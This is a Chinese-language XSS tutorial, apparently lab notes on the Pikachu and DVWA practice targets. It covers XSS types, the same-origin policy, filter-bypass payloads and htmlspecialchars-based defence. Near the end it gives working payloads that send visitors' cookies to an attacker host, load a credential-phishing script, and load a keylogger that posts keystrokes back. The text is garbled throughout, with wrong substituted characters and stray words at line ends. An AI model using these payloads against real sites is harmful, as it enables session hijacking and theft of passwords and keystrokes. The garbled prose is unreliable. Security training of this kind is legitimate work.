即:给一个目标插入脚本攻击代码,当浏览的人访问这个网站,那么浏览的人就中招了javascript
原理:XSS(Cross Site Scripting)是指攻击者在网页中嵌入客户端脚本攻击代码,一般是JavaScript编写的危险代码,用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。php
最终目的是在网页中嵌入客户端恶意脚本代码让浏览者访问,最经常使用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而现在的互联网客户端脚本基本是基于Javascript,因此若是想要深刻研究XSS,必需要精通Javascript。css
而对于渗透测试人员来讲只须要弹个窗就好,证实有XSS漏洞html
程序对输入和输出的控制不够严格,致使"精心构造“的脚本输入后,在输到前端时被浏览器看成有效代码解析执行从而产生危害。代码示例:前端
<?php $name = $_GET['name']; # 没有任何过滤,解析的话就会形成xss echo "Welcome $name<br>"; # 若是没有echo那就无法解析上面的代码,也就不存在xss ?>
交互的数据通常不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。(通常来讲,前端页面会限制字符串长度,修改下maxlength就好)java
交互的数据会被存在在数据库里面,永久性存储,具备很强的稳定性ajax
不与后台服务器产生数据交互,经过前端的dom节点造成的XSS漏洞(危害很小,很难利用,可是也是一类)sql
对于XSS来讲,只要有输入且有对脚本输出解析的地方(登陆注册修改更新留言等等),均可以尝试XSS——>数据库
http://xx.xx.xx.xx/xxx.php?id=参数'"><script>alert(12)</script>
HTML标签、URL栏、Style地、Script地、referer头、cookies、post参数、页面带参数的地方等等跨域
(跟注入类似,找到带参数的地方,直接上脚本代码)
全自动扫描工具:APPscan、AWVS、Burpsuite 等
半自动化工具:Burpsuite、firefox(hackbar)、XSSER XSSF等
实验,注:(利用扫描器扫出来的尝试的xss代码,中间插入弹窗,放到实际环境中测试)
http:// www. oldboyedu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不一样域。咱们把不一样的域之间请求数据的操做,成为跨域操做。
为了安全考虑,全部浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不一样的域的任何脚本既不一样域之间不能使用JS进行操做。好比:x.com域名下的js不能操做y.com域名下的对象
即:限制了跨域加载脚本
那么为何要有同源策略? 好比一个恶意网站的页面经过js嵌入了银行的登陆页面(两者不一样源),若是没有同源限制,恶意网页上的javascript脚本就能够在用户登陆银行的时候获取用户名和密码。
Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的
<script src="..."> //加载本地js执行 <img src="..."> //图片 <link href="..."> //css <iframe src="..."> //任意资源
后台设置好Access-Control-Allow-Origin,设置为*,既容许全部人访问
也就是说,若是咱们构造的url中使用到了.js脚本,同源策略是必须开启的,就像下面所介绍的键盘记录同样。例子:
<script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的状况下,提交恶意JS代码在相似留言板等输入框后,所展示的后台位置的状况下,网站采用了攻击者插入的恶意代码,当后台管理员在操做时就会触发插入的恶意代码,从而达到攻击者的目的。
11'"><script>alert(63252)</script>
大多数网站为了不xss的攻击,对于攻击者的输入都采起了过滤的措施,致使攻击者一般不能正常插入恶意代码来达到攻击目的。可是仍存在一些漏洞能够利用,来绕过过滤措施。
xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,如下介绍几个简单的绕过方法。
原型:'"><script>alert(63252)</script>
对前端的限制能够尝试进行抓包重发或者修改前端的HTML。
防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤能够考虑大小写混合输入的方法。
例:
<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
防止后台对输入的内容进行替换,采用拼拼凑的输入方法。
例:
<scr<script>ipt>alert('你打篮球像oldboy')</scr<script>ipt>
使用注释来干扰后台对输入内容的识别。
例:
<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
编码
思路:后台有可能会对代码中的关键字进行过滤,但咱们能够尝试将关键字进行编码后在插入,浏览器对改编码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是全部的编码都是能够的)
使用HTML进行编码:
<img src=x onerror="alert('yangshuang')"/>
例:使用事件属性
(例如:系统用了正则匹配,致使大小写和双写绕过失效,可是可使用事件驱动,原理就是让靶机由于没法出现一个不存在的图片而出发错误,出现弹窗。)
onerror(): <img src=# onerror="alert('oldboy')"/>
htmlspecialchars()函数把一些预约义的字符转换为 HTML 实体。
预约义的字符是: & (和号)成为 & " (双引号)成为 " ’ (单引号)成为' < (小于)成为 < >(大于)成为 > 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
过滤原理:htmlspecialchars() 函数把预约义的字符转换为 HTML 实体,从而使XSS攻击失效。可是这个函数默认配置不会将"单引号"和"双引号"过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
(相似于sql参数化查询,将变量变为了常量)
可用的quotestyle类型: ENT_COMPAT - 默认。仅编码双引号 ENT_QUOTES - 编码双引号和单引号 ENT_NOQUOTES - 不编码任何引号 可以使用如下语句绕过: q' onclick='alert(111)'
javascript:alert(1111) 直接代入a标签herf里面同样能够绕过htmlspecialchars
原理代码: <script> $ms='11'</script><script>alert(1111)</script> ; if($ms.length != 0){ if($ms == 'tmac'){ $('#fromjs').text('tmac确实厉害,看那小眼神..') }else { // alert($ms); $('#fromjs').text('不管如何不要放弃心中所爱..') } } </script> ------------------ 2'</script><script>alert(1111)</script> 这段代码应该写入$ms中 ------------------
XSS防护的整体思路是:
对输入进行过滤,对输出进行编码
谈一谈过滤和转义:
过滤:根据业务需求进行过滤,好比输出点要求输入手机号,则只容许输入手机号格式的数字。
转义:全部输出到前端的数据都根据输出点进行转义,好比输出到html中进行html实体转义,输入到JS里面的进行JS转义()
代码举例:
不可能难度 源代码: <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?> 系统使用了htmlspecialchars把咱们XSS要用到的一些预约义字符转化为HTML实体,致使没法再进行反射型XSS攻击。 预约义字符包括:"、'、<、>、&
包括kali的xsser、beef、各类扫描器
111'"><script>document.location = 'http://192.168.18.61:99/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>前端限制绕过:
填入上面的xss代码:
获得返回的结果。
很差利用
在用户登陆的状况下:
使用户点击咱们的含xss代码的页面:post.html,而后就能获取到登陆状态下用户的cookies
222'"><script src="http://192.168.18.61:99/pikachu/pkxss/xfish/fish.php"></script>
利用这段代码,让受害者输入用户名密码,咱们后台就能接收到
条件:须要不受同源策略影响,到后台设置好Access-Control-Allow-Origin,设置为*,既容许全部人访问,不受同源策略限制。
rk.js关键代码解读:
var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串 xl+=realkey; //赋值给x1 show(); //调用show涵数,经过下面ajax进行post发送键盘记录人内容``
输入设置好的恶意JS代码:
xxx'"><script src="http://192.168.18.61:99/pikachu/pkxss/rkeypress/rk.js"></script>
而后在键盘上随意输入,就能够到xss平台上去查看键盘输入的结果